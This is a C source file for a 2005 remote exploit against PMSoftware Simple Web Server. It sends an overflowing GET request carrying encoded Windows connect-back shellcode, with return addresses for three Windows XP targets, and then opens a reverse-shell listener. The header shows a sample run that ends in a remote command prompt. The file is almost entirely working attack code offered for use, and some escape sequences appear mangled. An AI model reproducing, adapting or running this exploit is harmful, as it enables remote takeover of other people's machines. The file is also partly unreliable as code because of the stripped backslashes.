/*
 *
 * PMSoftware Simple Web Server Buffer Overflow Exploit
 * 3 targets
 *
 * cybertronic[at]gmx[dot]net
 * 04/25/2005
 *               __              __                   _
 *   _______  __/ /_  ___  _____/ /__________  ____  (_)____
 *  / ___/ / / / __ / _ / ___/ __/ ___/ __ / __ / / ___/
 * / /__/ /_/ / /_/ /  __/ /  / /_/ /  / /_/ / / / / / /__
 * ___/__, /_.___/___/_/   __/_/   ____/_/ /_/_/___/
 *     /____/
 *
 * --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
 * Usage: ./PMSoftwareSimpleWebServer_expl -h <tip> -p <tport> -l <cbip> -c <cbport> -t <target>
 *         0 WinXP Home SP1 GER [0x71a17bfb] [pad=213] [offset=222]
 *         1 WinXP Prof SP1 GER [0x71a17bfb] [pad=216] [offset=225]
 *         2 WinXP Prof SP2 GER [0x71a19372] [pad=215] [offset=224]
 *
 * [ cybertronic @ PM ] $ ./PMSoftwareSimpleWebServer_expl -h 192.168.2.103 -p 80 -l 192.168.2.102 -c 1337 -t 1
 *
 * --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
 * --[ connecting to 192.168.2.103:80...done!
 * --[ exploiting WinXP Pro SP1 GER
 * --[ ret: 0x71a17bfb [ jmp esp in ws2_32.dll ]
 * --[ sending GET request [ 543 bytes ]...done!
 * --[ starting reverse handler [port: 1337]...done!
 * --[ incomming connection from:  192.168.2.103
 * --[ b0x pwned - h4ve phun
 * Microsoft Windows XP [Version 5.1.2600]
 * (C) Copyright 1985-2001 Microsoft Corp.
 *
 * C:PMSoftware>
 *
 */


#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>

#define PORT 80

#define RED		"E[31mE[1m"
#define GREEN	"E[32mE[1m"
#define YELLOW	"E[33mE[1m"
#define BLUE	"E[34mE[1m"
#define NORMAL	"E[m"

/*
 *
 * prototypes
 *
 */

int connect_to_remote_host ( char* tip, unsigned short tport );
int exploit ( int s, unsigned long xoredip, unsigned short xoredcbport, int targ );
int shell ( int s, char* tip, unsigned short cbport );

void header ();
void start_reverse_handler ( unsigned short cbport );
void usage ( char* name );

/*********************
* Windows Shellcode *
*********************/

/*
 * Type : connect back shellcode
 * Length: 316 bytes
 * CBIP : reverseshell[111] ( ^ 0x99999999 )
 * CBPort: reverseshell[118] ( ^ 0x9999 )
 *
 */

unsigned char reverseshell[] =
"xEBx10x5Bx4Bx33xC9x66xB9x25x01x80x34x0Bx99xE2xFA"
"xEBx05xE8xEBxFFxFFxFFx70x62x99x99x99xC6xFDx38xA9"
"x99x99x99x12xD9x95x12xE9x85x34x12xF1x91x12x6ExF3"
"x9DxC0x71x02x99x99x99x7Bx60xF1xAAxABx99x99xF1xEE"
"xEAxABxC6xCDx66x8Fx12x71xF3x9DxC0x71x1Bx99x99x99"
"x7Bx60x18x75x09x98x99x99xCDxF1x98x98x99x99x66xCF"
"x89xC9xC9xC9xC9xD9xC9xD9xC9x66xCFx8Dx12x41xF1xE6"
"x99x99x98xF1x9Bx99x9Dx4Bx12x55xF3x89xC8xCAx66xCF"
"x81x1Cx59xECxD3xF1xFAxF4xFDx99x10xFFxA9x1Ax75xCD"
"x14xA5xBDxF3x8CxC0x32x7Bx64x5FxDDxBDx89xDDx67xDD"
"xBDxA4x10xC5xBDxD1x10xC5xBDxD5x10xC5xBDxC9x14xDD"
"xBDx89xCDxC9xC8xC8xC8xF3x98xC8xC8x66xEFxA9xC8x66"
"xCFx9Dx12x55xF3x66x66xA8x66xCFx91xCAx66xCFx85x66"
"xCFx95xC8xCFx12xDCxA5x12xCDxB1xE1x9Ax4CxCBx12xEB"
"xB9x9Ax6CxAAx50xD0xD8x34x9Ax5CxAAx42x96x27x89xA3"
"x4FxEDx91x58x52x94x9Ax43xD9x72x68xA2x86xECx7ExC3"
"x12xC3xBDx9Ax44xFFx12x95xD2x12xC3x85x9Ax44x12x9D"
"x12x9Ax5Cx32xC7xC0x5Ax71x99x66x66x66x17xD7x97x75"
"xEBx67x2Ax8Fx34x40x9Cx57x76x57x79xF9x52x74x65xA2"
"x40x90x6Cx34x75x60x33xF9x7ExE0x5FxE0";

/*
 *
 * structures
 *
 */

typedef struct _args {
	char* tip;
	char* lip;
    int tport;
	int lport;
	int target;
} args;

struct targets {
	int  num;
	char name[64];
	unsigned long ret;
	int padding;
	int offset;
}
target[]= {
	{ 0, "WinXP Home SP1 GER", 0x71a17bfb, 213, 222 },
	{ 1, "WinXP Prof SP1 GER", 0x71a17bfb, 216, 225 },
	{ 2, "WinXP Prof SP2 GER", 0x71a19372, 215, 224 } //works only in conjunction with SoftIce :: stack guard is disabled somehow
};

/*
 *
 * functions
 *
 */

int
connect_to_remote_host ( char* tip, unsigned short tport )
{
	int s;
	struct sockaddr_in remote_addr;
	struct hostent *host_addr;

    memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
    if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
	{
		printf ( "cannot resolve "%s"n", tip );
		exit ( 1 );
	}
    remote_addr.sin_family = AF_INET;
    remote_addr.sin_port = htons ( tport );
    remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
    if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
    {
		printf ( "socket failed!n" );
		exit ( 1 );
	}
	printf ( "--[ connecting to %s:%u...", tip, tport  );
	if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) ==  -1 )
	{
		printf ( "failed!n" );
		exit ( 1 );
	}
	printf ( "done!n" );
	return ( s );
}

int
exploit ( int s, unsigned long xoredip, unsigned short xoredcbport, int targ )
{
	char in[2048], request[1024];
	
	printf ( "--[ exploiting WinXP Pro SP1 GERn" );
	printf ( "--[ ret: 0x%08x [ jmp esp in ws2_32.dll ]n", target[targ].ret );
	
	memcpy ( &reverseshell[111], &xoredip, 4);
	memcpy ( &reverseshell[118], &xoredcbport, 2);
	
	bzero ( &request, sizeof ( request ) );
	request[0] = 0x47;
	request[1] = 0x45;
	request[2] = 0x54;
	request[3] = 0x20;
	request[4] = 0x2f;

	memset ( request + 5, 0x41, target[targ].padding );
	strncat ( request, ( unsigned char* ) &target[targ].ret, 4 );
	memcpy ( request + target[targ].offset, reverseshell, sizeof ( reverseshell ) - 1 );
	strcat ( request, "rn" );

	printf ( "--[ sending GET request [ %d bytes ]...", strlen ( request ) );
	if ( write ( s, request, strlen ( request ) ) <= 0 )
	{
		printf ( "failed!n" );
		return ( 1 );
	}
	printf ( "done!n" );
	return ( 0 );
}

int
send_head ( int s )
{
}

int
shell ( int s, char* tip, unsigned short cbport )
{
	int n;
	char buffer[2048];
	fd_set fd_read;

	printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w" NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "n" );

	FD_ZERO ( &fd_read );
	FD_SET ( s, &fd_read );
	FD_SET ( 0, &fd_read );

	while ( 1 )
	{
		FD_SET ( s, &fd_read );
		FD_SET ( 0, &fd_read );

		if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )
			break;
		if ( FD_ISSET ( s, &fd_read ) )
		{
			if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 )
			{
				printf ( "bye bye...n" );
				return;
			}
			if ( write ( 1, buffer, n ) < 0 )
			{
				printf ( "bye bye...n" );
				return;
			}
		}
		if ( FD_ISSET ( 0, &fd_read ) )
		{
			if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 )
			{
				printf ( "bye bye...n" );
				return;
			}
			if ( send ( s, buffer, n, 0 ) < 0 )
			{
				printf ( "bye bye...n" );
				return;
			}
		}
		usleep(10);
	}
}

void
header ()
{
	printf ( "              __              __                   _           n" );
	printf ( "  _______  __/ /_  ___  _____/ /__________  ____  (_)____      n" );
	printf ( " / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/  n" );
	printf ( "/ /__/ /_/ / /_/ /  __/ /  / /_/ /  / /_/ / / / / / /__        n" );
	printf ( "\___/\__, /_.___/\___/_/   \__/_/   \____/_/ /_/_/\___/  n" );
	printf ( "    /____/                                                     nn" );
	printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]netn" );
}

void
parse_arguments ( int argc, char* argv[], args* argp )
{
	int i = 0;
	
	while ( ( i = getopt ( argc, argv, "h:p:l:c:t:" ) ) != -1 )
	{
		switch ( i )
		{
			case 'h':
				argp->tip = optarg;
				break;
			case 'p':
				argp->tport = atoi ( optarg );
				break;
			case 'l':
				argp->lip = optarg;
				break;
			case 'c':
                argp->lport = atoi ( optarg );
	            break;
			case 't':
                argp->target = strtoul ( optarg, NULL, 16 );
	            break;
			case ':':
			case '?':
			default:
				usage ( argv[0] );
	    }
    }

    if ( argp->tip == NULL || argp->tport < 1 || argp->tport > 65535 || argp->lip == NULL || argp->lport < 1 || argp->lport > 65535 ||  argp->target < 0 || argp->target > 2 )
		usage ( argv[0] );
}

void
start_reverse_handler ( unsigned short cbport )
{
	int s1, s2;
	struct sockaddr_in cliaddr, servaddr;
	socklen_t clilen = sizeof ( cliaddr );
	
	bzero ( &servaddr, sizeof ( servaddr ) );
	servaddr.sin_family = AF_INET;
	servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
	servaddr.sin_port = htons ( cbport );

	printf ( "--[ starting reverse handler [port: %u]...", cbport );
	if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
	{
		printf ( "socket failed!n" );
		exit ( 1 );
	}
	bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
	if ( listen ( s1, 1 ) == -1 )
	{
		printf ( "listen failed!n" );
		exit ( 1 );
	}
	printf ( "done!n" );
	if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
	{
		printf ( "accept failed!n" );
		exit ( 1 );
	}
	close ( s1 );
	printf ( "--[ incomming connection from:t%sn", inet_ntoa ( cliaddr.sin_addr ) );
	shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ), cbport );
	close ( s2 );
}

void
usage ( char* name )
{
	int i;

	printf ( "Usage: %s -h <tip> -p <tport> -l <cbip> -c <lport> -t <target>n", name );
	for ( i = 0; i < 3; i++ )
		printf ( "t%d %s [0x%08x] [pad=%d] [offset=%d]n", target[i].num, target[i].name, target[i].ret, target[i].padding, target[i].offset );
    exit ( 1 );
}

int
main ( int argc, char* argv[] )
{
	int s, targ, i;
	unsigned long xoredip;
	unsigned short cbport, xoredcbport;
	struct sockaddr_in remote_addr;
	struct hostent *host_addr;
	args myargs;

	system ( "clear" );
	header ();
	parse_arguments ( argc, argv, &myargs );
	s = connect_to_remote_host ( myargs.tip, myargs.tport );
	
	xoredip = inet_addr ( myargs.lip ) ^ ( unsigned long ) 0x99999999;
	xoredcbport = htons ( myargs.lport ) ^ ( unsigned short ) 0x9999;

	if ( exploit ( s, xoredip, xoredcbport, myargs.target ) == 1 )
	{
		printf ( "exploitation FAILED!n" );
		exit ( 1 );
	}
	start_reverse_handler ( myargs.lport );
}


// www.Syue.com [2005-04-24]